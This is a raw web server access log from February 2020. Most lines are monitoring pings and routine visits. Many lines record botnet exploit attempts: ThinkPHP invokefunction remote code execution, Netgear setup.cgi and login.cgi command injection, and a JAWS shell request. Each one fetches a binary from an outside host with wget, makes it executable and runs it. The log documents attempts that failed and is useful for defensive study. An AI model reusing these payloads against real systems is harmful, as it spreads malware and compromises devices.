212.91.246.72 - - [16/Feb/2020:15:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.6.153 - - [16/Feb/2020:15:53:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.230.17.72 - - [16/Feb/2020:15:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "ImplisenseBot 1.0"
212.91.246.72 - - [16/Feb/2020:15:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.6.153 - - [16/Feb/2020:15:54:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [16/Feb/2020:15:55:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.44.26 - - [16/Feb/2020:15:56:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:15:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:15:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:15:59:53 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
90.150.231.14 - - [16/Feb/2020:15:59:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:15:59:54 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:16:00:43 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:16:00:43 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.149.200.112 - - [16/Feb/2020:16:01:08 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
5.101.0.209 - - [16/Feb/2020:16:01:33 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:16:01:34 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.48.150.165 - - [16/Feb/2020:16:05:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:16:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.68.9.150 - - [16/Feb/2020:16:06:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.104.183.8 - - [16/Feb/2020:16:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.91.246.72 - - [16/Feb/2020:16:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.128.200.200 - - [16/Feb/2020:16:10:34 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:16:12:03 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
58.220.253.253 - - [16/Feb/2020:16:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
58.220.253.253 - - [16/Feb/2020:16:12:50 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [16/Feb/2020:16:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.220.253.253 - - [16/Feb/2020:16:12:52 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
5.101.0.209 - - [16/Feb/2020:16:12:54 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:16:13:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.158.239.2 - - [16/Feb/2020:16:16:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.200.160.76 - - [16/Feb/2020:16:19:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.202.97.18 - - [16/Feb/2020:16:23:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.202.114.179 - - [16/Feb/2020:16:24:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Typhoeus - https://github.com/typhoeus/typhoeus"
154.73.65.19 - - [16/Feb/2020:16:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.234.31.125 - - [16/Feb/2020:16:32:17 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:16:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.74.2.125 - - [16/Feb/2020:16:39:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.148.124 - - [16/Feb/2020:16:43:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.71.229.123 - - [16/Feb/2020:16:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.79.135.190 - - [16/Feb/2020:16:53:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
47.254.150.124 - - [16/Feb/2020:16:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [16/Feb/2020:16:55:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.96.28.232 - - [16/Feb/2020:16:55:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
47.96.28.232 - - [16/Feb/2020:16:55:11 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
47.96.28.232 - - [16/Feb/2020:16:55:11 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
2.187.230.33 - - [16/Feb/2020:16:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.87.67 - - [16/Feb/2020:16:56:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [16/Feb/2020:16:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:16:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [16/Feb/2020:16:57:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:16:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [16/Feb/2020:16:58:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [16/Feb/2020:16:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:16:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.15.23.69 - - [16/Feb/2020:17:00:06 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [16/Feb/2020:17:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [16/Feb/2020:17:02:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [16/Feb/2020:17:03:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [16/Feb/2020:17:03:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [16/Feb/2020:17:03:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [16/Feb/2020:17:03:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:17:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:17:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
